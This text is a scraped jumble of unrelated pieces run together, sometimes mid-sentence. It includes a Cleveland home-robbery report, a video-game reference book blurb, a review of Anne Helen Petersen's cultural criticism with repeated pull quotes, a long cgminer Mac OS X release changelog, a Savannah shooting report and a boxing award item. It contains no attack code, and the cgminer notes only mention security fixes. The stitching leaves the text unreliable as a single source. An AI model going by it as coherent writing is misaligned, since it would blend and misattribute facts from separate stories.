Between 2000 and 2011 heroin deaths quadrupled in Waukesha County, and in 2012, people were saved by Narcan more than 5,000 times.
AlertMeCLEVELAND, Ohio — A 66-year-old woman was bound in electrical tape and rope for nearly 20 hours in her own home after being robbed Sunday evening.
The woman’s daughter found her Monday afternoon.
According to Cleveland police reports, officers were called to the woman’s home in the 3500 block of West 46th Street at just before 1:30 p.m.
When they arrived, they found the 66-year-old victim bound with the tape and rope. She was freed and given medical attention.
At the scene, officers spoke with the woman’s daughter who’d found her mother tied up.
The daughter said she’d gone to check on her mother and after arriving at the home, heard her calling for help. The daughter got a set of keys from a neighbor and went into the home, finding her mother bound.
The preliminary investigation indicates that the victim was robbed and bound on Sunday evening at around 5:30 p.m.
Her car and cell phone were both taken.
The incident is still under investigation.: 1,000+ Arcade, Console and Computer Games, 1962-2012, 2d ed. Matt Fox McFarland, Dec 1, 2012 - Games & Activities - 416 pages 5 Reviews The Video Games Guide is the world’s most comprehensive reference book on computer and video games. Presented in an A to Z format, this greatly expanded new edition spans fifty years of game design—from the very earliest (1962’s Spacewar) through the present day releases on the PlayStation 3, Xbox 360, Wii and PC. Each game entry includes the year of release, the hardware it was released on, the name of the developer/publisher, a one to five star quality rating, and a descriptive review which offers fascinating nuggets of trivia, historical notes, cross-referencing with other titles, information on each game’s sequels and of course the author’s views and insights into the game. In addition to the main entries and reviews, a full-color gallery provides a visual timeline of gaming through the decades, and several appendices help to place nearly 3,000 games in context. Appendices include: a chronology of gaming software and hardware, a list of game designers showing their main titles, results of annual video game awards, notes on sourcing video games, and a glossary of gaming terms. Preview this book »'Too Fat, Too Slutty' Challenges Cultural Expectations Of Women
In the seventh century B.C., the poet Semonides of Amorgos wrote a catalog of unmanageable women. First, there are the women who resemble pigs, "resting in filth and growing fat." Other women, he writes, are yapping dogs, who won't shut up even if you knock their teeth out. And then there are the lazy horses, slutty weasels and ugly apes with no necks. The only kind of woman he praises is the bee — industrious, devoted and, most importantly, fertile.
Now, 3,000 years later, everything is different, and nothing is different.
In Too Fat, Too Slutty, Too Loud, cultural critic Anne Helen Petersen has written her own catalog of unruly women: celebrities and other cultural figures who have been called too strong, too fat, too gross, too slutty, too old, too pregnant, too shrill, too queer, too loud and too naked for uncomplicated cultural acceptance. She ranges from Serena Williams (too strong) to Lena Dunham (too naked) and shows how each woman defies norms while still staying close enough to the edges of respectability to achieve mainstream success.
Petersen, who has a doctorate in media studies and now writes for BuzzFeed, has made a career of studying gossip, celebrity and scandal with intelligence and empathy: "Celebrities," she writes, "are our most visible and binding embodiments of ideology at work."
In the seventh century B.C., the poet Semonides of Amorgos wrote a catalog of unmanageable women... 3,000 years later, everything is different, and nothing is different.
The women she has chosen illuminate invisible cultural expectations. "Each of these women is constantly igniting the line of acceptable behavior," she writes. "You don't know where it is until she steps over it, at which point it bursts into flames."
The structure of the essays is consistent. Each begins with an accessible and deceptively restrained short statement of a social problem (tennis is racist, TV is sizeist), and then launches into increasingly sophisticated analyses that ask what compromise between freedom and palatability each woman has negotiated.
"There are hundreds of women in the public sphere who don't exercise such careful modulation," she is careful to note, "women who are relegated to niche corners of pop culture because they've been figured as too big, queer, loud, smart, sexual, or otherwise abject for mainstream audiences." Being white and thin radically extends the boundaries of acceptable behavior: Of the women profiled, the two black women — Nicki Minaj and Williams — unquestionably get the cruelest vitriol.
Petersen herself can't be called an unruly writer per se. In its cautious accessibility, this collection is less exuberant, less spiky and less strange — less unruly, in short — than it could be. She leaves much of the boundary pushing to her subjects. Petersen's cutting, still-by-still analysis of TV shows and music videos is wrapped in glosses, potted histories and pleasantly readable, if not radical, prose. But if Petersen is dancing on the same line of accessibility and acceptability as her subjects, can we blame her — if she'll reach more people, change more minds?
To call a writer "responsible" seems like faint praise, but Petersen is responsible in the best sense: She doesn't just cite her sources but elevates them.
To call a writer "responsible" seems like faint praise, but Petersen is responsible in the best sense: |
Previous cgminer for Mac OS X releases
May 2 2014
There's a workaround in this version to minimise the risk of the man-in-the-middle attack of redirecting you to a different pool you don't want to be hashing on. Stratum reconnect will only honour the request if the reconnect is to a server with the same domain name.
Fix for some overflow errors on stats with massive hashrates/shares.
Fix a major memory leak which mostly affected hashfast users.
Fix for a failed connection after a redirection that would then never return.
Devices with unique serial numbers of 4 or more characters will now be displayed by their serial number in the status bar.
Support for new firmware for OneStringMiners that will identify themselves as OSM devices.
Support for OSM debugging and LED modes.
A1 driver updates. Full changelog here.
Download full package 5021 downloads Download miner only 2518 downloads
April 23 2014
Spondoolies driver. Note this is for dedicated hardware attached to a beaglebone so the code should not be compiled into a generic use-everywhere binary.
Add API output for spondoolies driver.
Add temperature to spondoolies API output.
Update to bi*fury driver (bxf) to support many chips, it will report up to 6 chips as HXF for hex*fury and more than that generically as MXF which currently is how the onestring miners appear until newer firmware comes out uniquely identifying them.
Fixed the output for the proper amount of chips in *XF devices.
Fix for solo mining to detect when we are mining on an orphan branch and switch to the correct one.
Fix for syslog.
Fixes for building on windows.
Much faster startup for hashfast devices, the more devices the bigger the speedup. Full changelog here.
Download full package 2162 downloads Download miner only 901 downloads
April 3 2014
During network outages the devices hashrate would appear static, this has been fixed.
Did a major rewrite of the code that writes and parses the config files. Now if you choose [W]rite from the [ S]ettings menu it should write most of the options you've given on the command line. Some options were never written correctly and many weren't written at all previously.
Changed the toggling display to sit on the most important screen and not toggle by default, but it can be re-enabled via the [D]isplay menu.
The hashrate line for per-device also includes the Work Utility at the end now instead of the alternate screen to better fit within 80 columns.
Added a --widescreen option by request which does not toggle and shows all information. This can be enabled/disabled via the display menu.
The --device and --remove-disabled commands have been removed. They are a hangover from the GPU days and choosing devices with this command does not give any meaningfully reliable way of choosing devices.
Added checking for any number of chips on bi*fury (BXF) devices and added the extra output in the API for them.
Hexfury USB sticks should now be detected and come up as HXF instead of BXF.
BXF bits can now be configured on the command line in case people wish to push the maximum for hardware modded devices (normally 54).
Solo miners can now add their own signature of up to 32 characters to the coinbase with the --btc-sig option.
miner.php updates.
Fixed getwork share submission which was broken for the rare pools remaining that still use it.
Other low level bugfixes/improvements. Full changelog here.
Download full package 3351 downloads Download miner only 1301 downloads
March 31 2014
Fix for memory leaks when mining solo
Fix for a rare corruption possibility with solo mining.
Support for a whole lot more USB hubs on windows.
Added rules for using cointerra on PC in case anyone besides me actually does this.
Revamped the hashrate meter to be far more reliable internally.
Added rolling hashrates for 1 min, 5 min and 15 mins to the main display and per device to the API as well.
Revamped the display since it was getting too wide: It now is back to the narrower size it was a few versions ago and toggles between the different data at regular intervals based on the opt log interval variable. Toggling can be disabled via the Display menu.
Added serial number to the unique identifier on-screen when it exists instead of an arbitrary device number. This currently only tags hashfast, cointerra and BF1 devices which have serial numbers.
Support reading configuration files with -c command from web URLs.
Fixes for building with libcurl disabled.
Other minor bugfixes and trivial changes. Full changelog here.
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March 26 2014
Bitcoind did not like lots of persistent connections at once meaning it would fall over if more than one cgminer instance was trying to mine at the same time from the one bitcoind instance. Cgminer now opens and closes the connection every time it talks to bitcoind allowing any number of cgminer instances to mine solo from the one instance. Confirmed working with 200TH of miners aimed at the one bitcoind...
Big endian hosts (like the antminer S1, avalon) did not work with solo mining.
Solo mining setups will not mine unless a btc address is specified now, and the address is displayed on startup if it exists.
Solo mining disconnections to bitcoind are handled better, not spawning more polling threads every failure.
Low level optimisations for solo mining
AntminerS1 fixes to decrease CPU usage and actually honour overheat conditions.
Network diff when submitting a block is shown correctly on screen when >2billion.
Build fixes for avalon2
miner.php improvements Full changelog here.
Download full package 2496 downloads Download miner only 1038 downloads
March 26 2014
Low overhead ultra-scaleable solo mining to bitcoind
Massive improvements to mining efficiency when using pooled GBT mining.
Stratum low level bugfixes that may have caused random corruption/crashes.
Miner.php updates
Drillbit updates
Antminer S1 updates
Fix for repeatedly trying to reset a usb device when it has failed.
Fix for Icarus devices (such as antminer U1 or block erupters) being switched off and not restarting.
More accurate hashrates on cointerra devices, with a more reliable bitmap of working cores and now a count
Per core cointerra hashrates
Fix for memory leak on hashfast devices.
Fix for crashes on multiple failed inits on hashfast devices.
Show what quadrant of a hashfast core has failed if possible
Fix for hashfast API stats output being invalid json
Hashfast api stats output names are unique making them more easily parseable
Inputting URLs without a prefix (such as http:// or stratum+tcp://) will now assume stratum to speed up initial connections.
On linux we no longer use sysv semaphores to prevent multiple instances of cgminer trying to use the same device, meaning you will no longer run out of semaphore resources or have failures to grab devices on restarting.
Numerous other low level fixes and improvements. Full changelog here.
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March 8 2014
Zero stats will now show the correct average hashrate per device.
Fixed the high CPU usage which led to eventually slowing down of hashrates over time.
Respect the -Q value by slightly changing its meaning to be the highest value it can reach, defaulting to 9999. Regular users need not do anything with this value.
Fixed the hex32 api values (currently only hashfast serial number) returning invalid JSON over the API.
New driver - BXM for an upcoming two bitfury chip USB stick courtesy of Goodney, along with an overclocking option with --bxm-bits
New driver - merged the bitmain S1 driver
Try harder to shut cgminer down fully on quit/restart/--shares end.
Fix cgminer shutting down and hanging when a grossly invalid stratum message is received.
Fix cointerra hashrate display to show a share based hashrate so that the displayed hashrate should match the pool hashrate.
Hashfast improvements: Dramatic decrease in CPU usage for all existing firmwares since they don't internally nroll time. Latest version now works with older 0.2 firmwares Only decrease the clockspeed if a device fails in less than an hour at its current clock speed New feature allows per-device settings
Other low level bugfixes and improvements and anticipatory changes. Full changelog here.
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February 28 2014
Fixed cgminer getting stuck at startup when no pool is valid and getting itself into an endless loop
Fixed AMUs being detected as failing and resetting them too early
Made the check for failing devices proportional to hashrate to not get false positives
Queue size is now adjusted up dynamically when it bottoms out regularly which it may on very high hashrates/many devices
Fixed ANU and other icarus devices falsely showing higher hashrates by calculating hardware errors - NOTE this means if you were seriously overclocking it before, your hashrate will appear to be lower now, but it was simply reporting wrong before.
Changed the priority of various threads to bias towards work generation instead of giving the mining threads priority.
Fixed a crash when a device drops out during an attempt to initialise
Ava2 voltage detection
Show the device number on the left without padding
Fixes for devices that ended in OFF state instead of dropping out to allow them to hot plug
Hashfast changes
Devices that are re-hotplugged are recognised by their name or serial number if possible and appear back as the same device number on screen
More information in API stats
Updated udev rules file to allow regular users to update firmware
Fixes for corrupt message reading and runs of crc errors
Ability to disable the core shedding feature in new firmware
Numerous low level fixes Full changelog here.
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February 20 2014
Cointerra driver
Bitmine A1 driver [not included in Mac build]
Avalon2U driver
Wider status window
ANU devices aka AntminerU1 usb sticks will now take any arbitrary frequency with --anu-freq and cgminer will try to find the nearest frequency it can set it to, instead of being restricted to 25MHz increments.
Hashfast device failures will be detected sooner
Hashfast fan speeds by default will go down to 5%
The menu now shows hashfast clock speed as detected by the device (which may be different to the requested speed) and fanspeed%
Hashfast board temperature is now taken into consideration when looking for the hottest component and displaying temperature and adjusting fanspeed
Hashfast clock speeds per die in the API should more accurately represent what speed they really are.
Hashfast restarts should be a little more reliable
Klondike, avalon, bab, drillbit will display more info on screen
Pools that silently drop stratum shares submitted will not induce a memory leak in cgminer
If no connection is present at startup, cgminer will be able to connect to a dead pool later when it comes alive
./autogen.sh from git will not error if given no arguments but will instead not try to configure the build
A warning will come up if someone selects system libusb, advising against it (given how few versions of libusb actually work well).
Fix a couple of potential hangs
Temperature for devices that support it will now show up in the api devs command
Icarus and bitfury devices that stop producing shares will now be sent a reset after a minute of no activity, and if they do not respond within another minute will be dropped, allowing cgminer to attempt to re-hotplug them. This has been proven effective at bringing back U1 miners that stop hashing.
Fix unresponsive bitfury devices from ending up OFF that would not disappear and/or restart
Bab driver updates disabling cores that stop working and reduce the cpu usage substantially
miner.php updates
Allow benchmarking from a --benchfile
Other minor bugfixes and trivial cosmetic differences Full changelog here.
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February 8 2014
Fix for the sitting idle doing nothing bug.
Add temperature to API devs call for hash fast devices Full changelog here.
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February 7 2014
Fix for the sitting idle doing nothing bug.
Brought back USB reset attempts on communication errors.
Fixed the need for adding icarus-timing when overclocking antminer U1devices. Full changelog here.
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February 7 2014
Dynamic temperature based fanspeed and per-die clockspeed control for hashfast devices with the following new commands.
--hfa-fan Set fanspeed percentage for hashfast, single value or range (default: 10-85)
--hfa-temp-target Set the hashfast target temperature (0 to disable) (default: 88)
Defaults chosen are based on extensive discussion with the design engineers responsible for the silicon and boards and basically it will keep your hashfast devices as close to the starting clockspeed as possible while keeping under~95 degrees by initially increasing fanspeed, and then decreasing the clockspeed on the hottest dies discretely. The output can be watched via the API. Enduring sweltering temperatures of up to 44 degrees here has made for an excellent real world test for this code.
--hfa-fan Numerous startup/reset/shutdown reliability improvements for hashfast
Send a ping to the hashfast device at regular intervals if we don't have any work for it just so it knows cgminer is still alive to try and minimise the dreaded watchdog reboots.
Lots of extra information in the hashfast API stats output.
Hashfast serial number is shown as a hex value now.
Better hashfast flushing of work on restarts - new firmware will build further on this.
Antminer U1 overclocking support with --anu-freq note:
By default, Antminer U1 devices run at a clockspeed of 200. This command allows you to specify a chosen frequency to attempt to run all ANU devices at and the value must be in increments of 25. Note that cgminer reports hashrate ONLY FROM VALID HASHES so if you increase the frequency but your hashrate does not increase or it decreases and hardware errors start showing up, you have overclocked it too much. In the worst case scenario it will fail to start at too high a speed.
You basically must use --icarus-timing=short additionally to get the maximum benefit out of the overclocking (at this stage).
By default, Antminer U1 devices run at a clockspeed of 200. This command allows you to specify a chosen frequency to attempt to run all ANU devices at and the value must be in increments of 25. Note that cgminer reports hashrate ONLY FROM VALID HASHES so if you increase the frequency but your hashrate does not increase or it decreases and hardware errors start showing up, you have overclocked it too much. In the worst case scenario it will fail to start at too high a speed. You basically must use --icarus-timing=short additionally to get the maximum benefit out of the overclocking (at this stage). Keep taking a trickle of work even if it's not being used just to keep an eye on pools and to keep the most recent work time up to date
Make the top "window" wider since hashes these days come in the many millions and don't fit into 80 characters
In verbose mode, the share above target message shows for which device
Rolled back to the last good working libusb - the alleged libusb/x merge did not bring improvements and added windows instability with spontaneous exiting
Handle better numerous non-terminal errors (the cgsem ones) that were leading to cgminer exiting
BAB improvements courtesy of Kano
Verbose mode will now show if it takes time to submit a stratum share, or it takes a long time to get a response from pools due to them lagging substantially, to help debug where latencies might be causing high stales.
Added a way to zero other stats within each driver when the zero stats command is given (though no driver currently uses it).
Fix one stale work item being passed to drivers after a block change.
Fix a rare usbutils crash
Pool diffs that are fractions only show one decimal place now.
In debug mode a message will show up if there are substantial delays in getting work.
Fix for massive data over the API
Other random fixes. Full changelog here.
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January 30 2014
Antminer U1 support
Numerous fixes for behaviour surrounding USB errors - pipe and IO errors, and no more attempting to reset the device since it's rarely helpful and occasionally harmful.
Libusb and libusbx have finally reconciled their differences and merged all their fixes together into a new official libusb release, so the main change in this version is updating the core code to include this latest libusb. Hopefully this might increase compatibility with some USB3 hubs on windows and make it more reliable (based on the changelogs I can see in libusb). This is the reason for the minor version number update to 12 as it's quite a substantial code change, hopefully only for the better!
Increased the hashfast overheat limit default to 90 after extensive discussions with the engineers who designed the devices.
Fixed a crash in the nanofury USB stick code.
Fixed the displayed diff shown being wrong when solo mining.
bab driver fixes courtesy of Kano. Full changelog here.
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January 25 2014
A proper working hashfast driver tested working on a real device, including the windows version.
Substantially updated BAB driver courtesy of Kano. Hopefully he can give us a summary of the changes there.
Generic fixes for the reconnect bug on btcguild (unsure if other issues still exist).
Work is discarded on a stratum reconnect message from the pool now (as btcguild uses) to avoid working on invalid work on switching URLs.
Fixed the stuck line at the top of the log window.
Message about block change detected no longer mentions longpoll.
API now has a field "Last getwork" in summary which can be used to see that we are still getting work from pools. This is useful if you are trying to determine if a device is dead for device reasons or simply isn't getting work from any pools. It uses the same numbering in seconds with the "Last Valid Work" returned in the device API. If "Last getwork" is not incrementing, there is no work for any devices.
Added a --nfu-bits command to allow you to set the clock speed on nanofury/icefury usb sticks. Note that the default was 54 so is now 50 to be in keeping with USB2 power limit standards. This means IT WILL BE SLOWER compared to 3.10.0 unless you change it with this option back to 54. The driver is otherwise unchanged so any other differences you see are pure variance.
Threads names have been changed so they will show up with different, consistent names in your process manager of choice.
Building will now not include libbitfury on every configuration unnecessarily.
The crash on device removal has been fixed.
Fixes for lean configurations that failed to build. Full changelog here.
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January 9 2014
Minion driver.
Nanofury driver. These are set up the same as every other USB device is on cgminer. Tested on both windows and linux (sorry no osx to test). Note the hashrate is once again based on only valid shares so may appear lower than other software using this device. No HW errors are currently counted (though they're most definitely there in abundance due to bitfury design). This is a driver based on all the other ones out there with a completely rewritten model to suit how cgminer drivers work.
Hashfast driver fixes.
Fixed BXF devices slowing down over time. Full changelog here.
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January 9 2014
fork of cgminer supporting AntMiner U1 and GPU/scrypt mining
This build is from the jimjag cgminer fork and is NOT from the official cgminer developers
Adds Antminer U1 support
Adds GPU/scrypt support back in
Based upon 3.10.0 of cgminer Full changelog here.
Download full package 4874 downloads Download miner only 1812 downloads
December 23 2013
Driver for drillbit ASICs.
Fixes for various KnC hardware errors, with improvements to hashrate. Note this is not a comprehensive fix for the hardware errors specific to rEligius - you will find a substantial drop in hardware errors if you start cgminer with the quiet and text only options (-q -T). An updated binary is here: http://ck.kolivas.org/apps/cgminer/kncminer/
Updated bi*fury driver with support for the latest firmware. This includes dynamic clocking based on temperature which tries to maintain a constant temperature set intiially to 82 degrees but adjustable with --bxf-temp-target.
Much more API output for bxf devices.
Less spewing of errors when bxf devices are removed/die
Updates to hashfast driver code
Fixes for working with proxies that use small nonce2 sizes Full changelog here.
Download full package 9965 downloads Download miner only 7205 downloads
December 9 2013
BFL SC devices will now throttle 3 degrees below cutoff (82 degrees) and cut off work at the lower 85 degrees, restarting when they get below 80. If you wish to aim for a higher maximum, use the --temp-cutoff feature (90 was the old maximum). If you set it to zero it will disable this behaviour. (I'm preparing for our summer here Wink)
BFL SC devices will be less aggressive with their fan control now, allowing temps to drift up a little more before going to maximum speed.
Fixes for builds with --with-system-libusb enabled not working with older libusbs. (Note that using this option is not recommended unless you can't install udev anyway).
Fixes for warnings with./autogen.sh
Code cleanups of unused GPU code
Cgminer will now try to issue a USB reset on devices that have failed to hopefully get them back up and running again.
Dramatically improved communications for USB1.1 devices on hubs that don't have multiple transaction translators or have none (like USB3 hubs). The USB1.1 devices currently affected are Asicminer Block Erupters and Red/Blue fury USB sticks.
Fixes for leaving too many open files problem with repeatedly hotplugging devices on low resource systems (eg RPi).
Fix a potential API crash.
The build will be much quieter around the jansson part now.
More hashfast driver additions (no, the real hardware still doesn't exist). Full changelog here.
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December 1 2013
More fixes to make usb communications more forgiving and robust which may improve reliability and speeds.
Timeout overruns won't show unless you have verbose mode on now.
Voltage displayed for BFL SC devices is the 2nd voltage which is allegedly more relevant.
API stats for BFL SC devices now show a nonce and hardware error count per core.
Json API commands should work again.
More fixes for upcoming hashfast hardware.
Lowmem mode has been extended to use USB sync transfers
BXF devices should align better with other devices on the display.
Devices will now initialise before trying to connect to pools. Full changelog here.
Download full package 5900 downloads Download miner only 5186 downloads
November 23 2013
Average hashrate shown for BF1 and BXF devices will now rise quickly on startup.
The bi*fury device in its release form had different firmware from my development one so the driver has been updated to work with it.
Fixed the bxf device to align in the display column if temperature went above 100 degrees.
Don't keep displaying json auth failed on stratum pools that are misbehaving except at verbose logging level.
Very small improvement in hardware error rate on some USB devices due to the way return messages are handled.
Fix a memory leak when json is used to communicate with the RPC API
Avalon improvements to fix the sudden drops in hashrate (these fixes are all already in the last avalon firmware I uploaded).
Unlimited re-hotplugging of devices that have USB failures and turn into zombies but have had their USB reset by the operating system. Full changelog here.
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November 16 2013
New driver for bi*fury devices. These will come up as BXF devices. Note that if you have one of these, having 2 bitfury chips they generate a LOT of heat and will need active cooling. The first firmware for them does not have a way to stop them mining so they will get dangerously hot if you don't point a fan at them and stopping cgminer won't even cool them down. This should be fixed in their next version.
Set priority of various threads high and low for poor performing hardware (e.g. wrt routers) or operating systems (i.e. windows) to try to minimise the influence of system usage in other ways from causing communication problems.
Fixed a problem where it was possible for cgminer to hang after getting notification of a new block when mining via getwork.
Low level communication fixes within libusb itself to support sending proper zero length packets on windows for more reliable communications (same as the lulz binary), along with automatically clearing pipe errors and not losing buffered data.
More low level avalon fixes.
Klondike fixes
Hashfast fixes
BaB fixes
Hardware errors on starting BF1 devices are now minimised
Fix for mining directly on a GBT port with --fix-protocol
--shares is now scaled relative to diff1 shares instead of absolute number
Fix for a rare crash on startup
Other low level fixes
More verbose documentation Full changelog here.
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November 10 2013
(Unchanged for Mac users since 3.8.0)
Remove all GPU code.
Driver for Black Arrow Bitfury hardware (for use on RPi)
Updates to make USB writes more reliable. Should help more on windows than anywhere else.
Slight improvements to the blue and redfury drivers will decrease duplicates at startup, lost work across block changes, and will now show hardware errors - NOTE the hardware errors are not more than before, they simply weren't being reported before.
Numerous tweaks to improve Avalon behaviour (possibly still problematic on wrt hardware but works better on PC).
Fixes to prevent Avalons from hanging rarely on block change.
Low level clean ups, bugfixes and preparation for more driver code. Full changelog here.
Download full package 1752 downloads Download miner only 948 downloads
November 10 2013
Remove all GPU code.
Driver for Black Arrow Bitfury hardware (for use on RPi)
Updates to make USB writes more reliable. Should help more on windows than anywhere else.
Slight improvements to the blue and redfury drivers will decrease duplicates at startup, lost work across block changes, and will now show hardware errors - NOTE the hardware errors are not more than before, they simply weren't being reported before.
Numerous tweaks to improve Avalon behaviour (possibly still problematic on wrt hardware but works better on PC).
Fixes to prevent Avalons from hanging rarely on block change.
Low level clean ups, bugfixes and preparation for more driver code. Full changelog here.
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November 6 2013
last version to support GPU and litecoin/scrypt mining (see also
)
Fix for crashes on startup and hotplug.
Fix for hangs doing no further work after a block change.
Fix yet again scrypt showing a block solve with every highish diff share.
Try to find a compromise between the various ends of the windows+AMU timeout issue spectrum.
Write errors will cause a device failure, allowing cgminer to attempt to hotplug them again.
Icarus based devices will hopefully align on the display with others.
Fix for short periods of no/idled work on avalon devices due to async restarts with block changes.
Fix for diff shown on big endian machines
Fix for building with curses disabled.
Other low level clean ups. Full changelog here.
Download full package 19915 downloads Download miner only 11552 downloads
October 28 2013
Fix for avalon type hardware hanging 3.6.5:
OpenCL now needs to be explicitly built into binaries with --enable-opencl; it is no longer built in by default (binaries built by me still include it).
Updated the build to not install opencl kernels when cgminer is built without opencl.
Added an option to build with the system libusb for when it's difficult to get all the dependencies built (like udev on MIPS) by using the --with-system-libusb option. NOTE: It is recommended to not use this option unless you cannot build udev on linux as the included libusb is the most stable version.
Updated klondike driver, now built into linux binary.
Improvements to support for BitBurner boards.
Lots of fixes for failures to shutdown and restart, including knowing about all USB transfers in flight and waiting till they're complete.
Updated the read mechanism on slower USB devices: instead of polling regularly, cgminer can now wait the full length of time to get results (which can be as slow as 15 seconds on some icarus devices), but it can cancel these transfers immediately once a block change is detected. The advantage of this is much less wasted CPU time, and much faster response to block change - i.e. lower CPU when there are many devices, and lower rejects. Currently this feature has been added to bitfury sticks and icarus devices. The stabilising of async transfers in cgminer made this change possible.
Timer updates on windows now using the native clocks and timers for higher accuracy timing and tighter control.
Fixed a minor timer bug.
Made one off I/O errors non fatal for devices now, so only if a device has repeated I/O errors will it consider the device dead.
Buffering extra bytes message no longer shows up in verbose mode since it's a routine operation now.
More information is now shown when a usb error occurs.
miner.php updates
api updates
Lots of low level features added in preparation for newer drivers in development for upcoming hardware. Full changelog here.
Download full package 2849 downloads Download miner only 1240 downloads 3.6.6:3.6.5:
October 18 2013
Found the source of the memory leak on windows AND the source of the too many files open error on OSX. Both have been rectified, and fully asynchronous transfers are used on all OSes.
Fixed numerous causes of problems on shutdown.
Fixed some BFLSC parameters not being read properly.
Fixed the problem of lost communications and lots of errors on devices on shutdown and possibly unsuccessful shutdown/reset.
Fixed a bug where bogus work was being generated at extreme hashrates.
Decreased the overhead in generating more work for queued devices (eg BFLSC).
Fixes to klondike driver Full changelog here.
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October 11 2013
Fixed a couple of hangs when shutting down - you will no longer get temps and fanspeeds in the final status line on shutting down, but at least it won't hang.
Failed connect to stratum as a message will only show in verbose logging now.
Smoother reporting of hashrate on BF1 devices.
Fix for the crash when --usb BAS: or similar commands were used when the relevant driver wasn't actually compiled in.
Fixes for CMR
Slower USB devices that die/are unplugged will now properly zombie.
A few more failure checks on starting BF1 devices.
Serious USB read or write errors will now be accompanied by a message during regular logging describing the error.
USB errors now use the internal libusb explanations.
Fixed a bug where some devices would never start hashing if your PC was up for a few days (specifically BF1 devices).
If we switch away from a pool in failover mode, we will now only switch back to it if it's up for at least 5 minutes to avoid reconnecting to pools that are only intermittently up - good for DDoS situations which we've seen a lot of lately.
Ztex driver and its bistreams have been REMOVED. No one was maintaining the code, it wasn't working, and it was making release archives much larger than necessary.
First draft of klondike driver - note binaries do not have this built in since the devices aren't in the wild yet.
When devices are unplugged on windows, cgminer will cleanly remove them now instead of getting into an endless loop of failing to talk to them with IO errors.
Statistics on locking delays in usb code (this will be deprecated in 3.6 branch due to changes in the locking design).
Other internal changes, fixes, low level code for further development. Full changelog here.
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October 4 2013
Support for mining on BPMC redfury/bluefury bitfury based devices on linux and windows. Like every other USB device on cgminer, they will use the same WinUSB driver and require the same setting up. Binaries have bitfury support compiled in and if you are building binaries for yourself, they need to be enabled with --enable-bitfury.
CMR fixes to get it mining half decently again.
Code fixes to support current and devices with multiple USB interfaces.
Code changes to make it a lot less work to add new drivers.
tty devices will be reattached on shutting down cgminer cleanly on linux now.
Bugfixes for use of some usb buffers may lead to less corruption/apparent hw errors.
Buffering of extra data no longer appears on regular logging, only verbose and above.
Fixes for possible extra delays/stale work across longpolls (depended on driver).
Fixes for quota usage in --load-balance.
A fix for a bug that would randomly show a high best share that never happened.
Added ability to compile for stratum mining only, completely removing dependency on libcurl (must be expressly enabled at compile with with --disable-libcurl)
Various other compilation warning clean ups and minor bug fixes. Full changelog here.
Download full package 2190 downloads Download miner only 1389 downloads
September 13 2013
Build fixes for cgminer releases to build on OSX (building from git still requires massaging).
Fix for an extremely rare cause of crashes.
Updated the screen to show when there is block change notification with multipool strategies and stratum.
Don't show the "waiting for work" message unless it is longer than it takes to switch pools during lag periods.
Cope with trailing slashes being used on stratum based URLs.
miner.php updates.
Native proxy support on stratum for http1.0, http1.1, socks4, socks4a, socks5 and socks5h proxies without using libcurl for maximum stability.
A completely rewritten load-balance strategy that now supports per pool quota support. See the updated documentation to see how it works. Full changelog here.
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August 14 2013
Fixed the breakage when mining on bit minter.
Fixed the performance regression on avalons
Added extra % counts to devs fields in API
This binary only: now using libusb-1.0.2 for better USB compatibility for Macs Full changelog here.
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August 12 2013
Avoid reproducing work as much as possible when generating work on stratum by storing a midstate of sorts on each stratum notification update.
Cache some of the work to decrease work duplication on GBT.
Fix a potential bug if a pool uses a nonce2 size bigger than 4 bytes.
Fix a (very low) potential data corruption on work generation.
Add more useful debugging for when low level crashes in semaphore and mutex operations occur.
Fix the intensity vs --scrypt bug introduced in 3.3.2 Full changelog here.
Download full package 1310 downloads Download miner only 1127 downloads
August 12 2013
There are new sanity checks to prevent too high/low intensities for sha versus scrypt mining.
Benchmarking, which didn't work on scrypt, is no longer allowed.
New BFLSC command --bflsc-overheat allowing you to specify or disable the throttle temperature.
Bitburner (BTB) avalon clone device support
BTB voltage can be set
Avalon frequency and BTC voltage can now be set via the API.
Minor fix which could lead to less duplicate shares on avalons.
More usb debugging information
Fix a problem where a slow to respond pool would lead to cgminer simply disconnecting, leading to unnecessary disconnects. This has also sped up some communication operations when the other side doesn't respond.
Extra BFLSC stats visible via the API.
Numerous avalon changes improving dramatically its behaviour (compared to official 3.3.1 release, not the last firmware posted), and supporting new features: --avalon-auto Adjust avalon overclock frequency dynamically for best hashrate --avalon-cutoff <arg> Set avalon overheat cut off temperature (default: 60) --avalon-fan <arg> Set fanspeed percentage for avalon, single value or range (default: 20-100) --avalon-freq <arg> Set frequency range for avalon-auto, single value or range --avalon-options <arg> Set avalon options baud:miners:asic:timeout:freq --avalon-temp <arg> Set avalon target temperature (default: 50)
Made the 5 second hashmeter dramatically smoother, being a true exponential decay based on time now.
Accepted and Rejected counts on screen now show shares scaled to difficulty, so each 10 diff share for example will increase accepted by 10. This should fix an awful lot of confusion regarding accepted/rejected/hw error ratios.
Reclaimed screen real estate by doing away with increasingly irrelevant U: figure since so few people run diff 1 now.
Numerous performance and stability fixes under the hood.
This binary release only: Fixes support for 10.5 PPC Full changelog here.
Download full package 1290 downloads Download miner only 1171 downloads
June |
with information on this case should contact the SCMPD tip line by dialing (912) 525-3124.Information may also be forwarded to CrimeStoppers at (912) 234-2020. Tipsters remain anonymous and may qualify for a cash reward.
A man was shot and killed in a Savannah home on Friday morning in what police investigators say was a self-defense shooting.
Thirty-four-year-old Marquice Allen was shot in a home on the 1100 block of West 49th Street at about 8:15 a.m. on Friday. Savannah-Chatham Metropolitan Police Department Investigators say the self-defense shooting occurred during a domestic dispute.
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Allen died at the scene. Police officials investigated the area until after 1 p.m. on Friday and interviewed a person of interest during that time as well.
While some neighbors say this street is quiet and there hasn’t been anything like this there before, others say the neighborhood has gotten worse over the years and they aren’t surprised this happened.
“I just think it’s very, very sad and unfortunate. I just can’t imagine why someone would have to kill someone. But it just goes along with the idea of the whole feeling that the neighborhood is really bad and it’s getting worse so I just feel more frightened and more afraid,” said Catherine Jackson, who lives on West 49th Street.
Anyone with information on this case should contact the SCMPD tip line by dialing (912) 525-3124.
Information may also be forwarded to CrimeStoppers at (912) 234-2020. Tipsters remain anonymous and may qualify for a cash reward.
AlertMeBritish boxing hotshot Billy Joe Saunders has become a double award winner with the European Boxing Union.
The unbeaten European middleweight champion from Hatfield has been nominated as the EBU Champion of the Year and also Championship of the Year for his part in the thrilling showdown with arch rival Chris Eubank Jnr.
Saunders won the European crown last July with a stunning eighth round knockout of Emanuel Blandamura in Manchester. He followed that up in November with a points decision over Eubank Jnr. in a fiery showdown to retain the European title.
